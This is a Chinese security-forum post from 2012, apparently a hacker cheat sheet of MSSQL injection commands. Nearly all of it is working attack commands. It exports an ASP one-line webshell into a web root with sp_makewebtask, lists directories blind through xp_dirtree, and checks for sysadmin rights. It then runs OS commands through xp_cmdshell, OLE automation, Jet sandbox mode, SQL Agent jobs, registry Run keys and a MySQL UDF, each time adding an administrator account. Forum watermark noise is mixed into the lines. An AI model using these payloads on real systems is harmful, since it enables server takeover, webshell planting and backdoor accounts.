找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2884|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马; Q1 J: {: `0 p7 i0 i
首先确定网站的WEB路径+ K# ~" {" Q/ _: Y
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马3 K0 V% ?, u3 p' ?% ^" i

4 s5 t& j4 b9 T% ~( N; Q7 Z;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
' e* f2 K! Z2 E7 \4 L' l//将一句话木马插入表中$ m4 k! |4 z  F; J: V
9 [$ a& U+ ^) J2 c: h$ R+ X7 u7 X
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- / R6 u: o# _0 u5 n" ?+ a- }7 M( ~7 W
//导出一个ASP文件
% Y9 W9 ^4 y1 Z, }: Y8 f
4 i$ c) i& t* l3 Z! W. h+ c, B$ q8 q* r3 ]' S0 j
关于MSSQL列目录
7 q; [/ C' b* t$ v+ {  J1 g;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
8 Y( E. G+ |$ F1 CInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
. R2 T9 f& Y4 d4 E' S- M
: O3 V" E' b0 Sand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
. M2 C- G/ s' g+ a7 Z. ^; J. F3 B) q! y% o) p5 C! L7 G
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
6 I' B; n; i, n! Y( ?& h3 k
; Z% l# e" D$ ~* n2 @; Y% ~And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符. S- X) }" f: S8 H7 V* h- }
( a' J. Q0 W0 `. i# h
$ z  z5 X+ l' Z  E3 L% _9 r
数据库版本和权限查看4 [7 g+ j/ [0 \/ a
and 1=(select @@VERSION) //查看详细的数据库信息.9 _3 a) M3 J, S
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
2 A6 h) D% s" z) h3 @! rand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
$ l/ I, t1 T" w% @' _  w( J# G
/ R+ f& s  Q+ o% q$ O
& K( e& F' F; n$ \1.利用xp_cmdshell执行命令
3 ^3 L9 B8 [7 r+ N, h/ g5 qexec master..xp_cmdshell 'net user rfire 123456 /add'
- m/ Q( p7 g) C7 @; I' D2 n( dexec master..xp_cmdshell 'net localgroup administrators rfire /add'% c8 ^9 Z7 c3 `
/ u* q( X" U# n2 Z" s" O5 l9 A, d3 ^
恢复xp_cmdshell存储过程! |& G: S/ {( B# r& L" O! _- F
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'/ e& g) I  n" w7 |+ h. t  S

" _9 f# s& g1 |! J" M/ y
. ^0 z6 n& C3 O- W* f: l2.利用SP_OAcreate和SP_OAMETHOD执行命令; e% j, m$ l/ s' C; e
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下3 Q% s! b2 P1 a; ^8 {0 V
DECLARE @shell INT //建立一个@shell实体
  N& @0 X: @7 ], O5 v+ B" kEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
  L4 Z; a6 H8 O4 x7 z2 ?EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
. l& x) j1 S) \2 Z( o
& K6 d) {* ^* J& Q! G
( [4 }6 N* i2 b. G6 O. K3.利用沙盒模式
5 |% W: D: `6 t) u" ?# k( d先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
; k+ f/ n2 g! S* r6 l8 J" {开启沙盒模式:) A4 W- M3 d: Y: g! ?
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0) j  k6 i% E( ]  h: R% ?$ x& ~

) P: |2 G; f: T( l1 N执行命令:' w( A# l2 O; r0 B" _
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');+ J! T( k2 T! |. e' R* j0 X! _$ ~# u

  c" D: S5 q( L6 s2 F- N& E7 i
4.利用SQL代理执行命令
( B, J' ~8 f, n( n" E  p* r8 b% M4 nEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
+ t! w0 |' W# A  a
4 Z# V& e- C; C( W) A) M执行命令:
/ _; m: `5 d8 Y7 [use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
# O, w, _' |+ D) d$ U( gexec sp_add_job 'x'
" ^3 P+ L) L6 O, K/ {: k" h$ ^exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
/ k, m, ?% L6 h9 c. bexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业" P9 c4 [  D+ M0 u' ?  x; F

/ \0 Z& h3 [4 H. r$ ^: ~8 K& z/ Z8 N& \" |
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
% N2 Q) g7 W& ]3 NEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'6 q$ ]: B! n& p

% e6 \; u$ ?1 _) h& M- u; C* N7 k! N  `8 T
6.MYSQL的命令执行
' S; U" u& T& P& ?MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
6 b/ @, ~/ p4 \首先要在su.php下导出c:\windows\udf.dll8 P# |" }, q: |7 p) g% K3 @( F; ]
导出后执行创建自定义函数命令:
6 J% }) ^/ t& ZCreate Function cmdshell returns string soname 'udf.dll'7 p3 A+ X1 a) i# o, e
执行命令# o& N: P5 p+ P$ \
select cmdshell('net user rfire 123456 /add')
3 {* ^  u, S9 m8 j5 D: U- `0 a执行后删除函数 drop function cmdshell
( g; u' z' L+ b  u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表